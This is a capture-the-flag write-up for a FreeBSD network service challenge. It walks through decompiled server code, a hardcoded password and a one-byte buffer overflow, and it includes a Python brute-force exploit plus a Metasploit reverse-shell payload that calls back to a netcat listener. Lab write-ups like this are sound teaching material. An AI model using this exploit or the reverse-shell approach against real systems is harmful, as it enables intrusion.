This challenge was on remote exploiting. The binary is for FreeBSD.
Summary: buffer overflow, jump to shellcode (bruteforce address)
The given program is a forking tcp server. Client serve function:
int __cdecl client_sub(int sock) { char buf[100]; // [sp+28h] [bp-80h]@7 int n_to_read; // [sp+8Ch] [bp-1Ch]@1 int (*p_fprintf)(int, const char *, ...); // [sp+90h] [bp-18h]@1 int (__cdecl *p_read_until)(int, int, unsigned int, char); int *step; // [sp+98h] [bp-10h]@1 int i; // [sp+9Ch] [bp-Ch]@3 char *ptr; // [sp+A4h] [bp-4h]@1 n_to_read = 100; p_fprintf = fprintf; p_read_until = read_until; step = 0; ptr = malloc(0x20u); read_until(sock, ptr, 0x20u, 10); if ( strncmp(ptr, "tomod@chi4j00l333people$", 0x20u) ) { free(ptr); return 0; } free(ptr); for (i = 0; i <= 19; ++i) { switch (i) { case 0: step = magic(&step0, sock, 0, 0, p_fprintf, p_read_until); break; case 1: step = magic(&step2a, sock, 101, buf, p_fprintf, p_read_until); case 18: step = magic(&step2, sock, n_to_read, buf, p_fprintf, p_read_until); default: if ( !step ) break; step = magic(step, sock, n_to_read, buf, p_fprintf, p_read_until); } } return 0; }
Ok, we see that it checks for a hardcoded password ( tomod@chi4j00l333people$ ). Let’s see what actually happens then:
$ nc 192.168.56.3 3555 tomod@chi4j00l333people$ Your baby hacker is born... Whare are you going to name your little hackerling? hellman # <- this is my input Your hackerling is hungry. What shall you feed it? 0. Kit kat bar 1. Jolt 2. deadbeef 0 Wrong choice
Well, it’s not hard to get the right answer, it’s 1. Jolt:
Your hackerling is hungry. What shall you feed it? 0. Kit kat bar 1. Jolt 2. deadbeef 1 OMG whatd you do your hacker just dropped an 0day and not the profitable type Poor hackerling is sick.. Drugs? 0. Provigil 1. The Cloud 2. Booze 3. Viagra from that sweet spam ad... 3 Poor hackerling is sick.. Drugs?
The second question is repeated 14 times and the answer is 3. After all questions we have this:
Congrats your hackerling is 18... he wants to change his name though hellman2 # <- my input again After turning 18 and changing his name, the little hackerling jumps off a rock at havisu and dies. Spring break!
Well, we have guessed that magic function asks for a question or reads name or prints something, depending on the step we are on.
The third parameter to it is the number of bytes to read from the user. When it asks for the name at first time, it reads 101 byte into 100-bytes buffer. Oops, overflow. Only one byte! But it is really meaningful: it's the lowest byte of the variable n_to_read, which stores number of bytes to read at last time! Usually it's 100 but we can easily make it 255. Then we can reach return address, or some function pointers, e.g. p_fprintf: buf + 104.
So, exploit is:
- send 100-bytes name + 0xff
- answer stupid questions
- send shellcode, padded to 104 bytes, and a supposed address of the shellcode
Then we just bruteforce address of the shellcode on the stack, and get the shell:
def sock(): f = socket.socket(socket.AF_INET, socket.SOCK_STREAM) f.connect(("192.168.56.3", 3555)) return f SC = open("payload").read() padlen = 104 - len(SC) addr = 0xbfbffff0 while addr > 0xbfbe0000: f = sock() f.send("tomod@chi4j00l333people$\n") time.sleep(0.1) f.send("A" * 100 + "\xff\n") f.send("1\n") f.send("3\n" * 14) time.sleep(0.1) f.send(SC.rjust(104, "\x90") + struct.pack("<I", addr) + "\n") time.sleep(0.1) addr -= padlen print hex(addr)
Shellcode is metasploit's bsd/x86/shell_reverse_tcp:
$ nc -lvp 3123 listening on [any] 3123 ... connect to [192.168.56.1] from bsd [192.168.56.3] 18863 cat key godzilla ate my tomagaci
The flag: godzilla ate my tomagaci
1 ping
[…] http://pastebin.com/nH0zte5D Potent Pwnables 100 http://daxnitro.com/quals/pp100.html http://leetmore.ctf.su/wp/defcon-ctf-quals-2011-pwnables-100/ 200 http://leetmore.ctf.su/wp/defcon-ctf-quals-2011-pwnables-200/ […]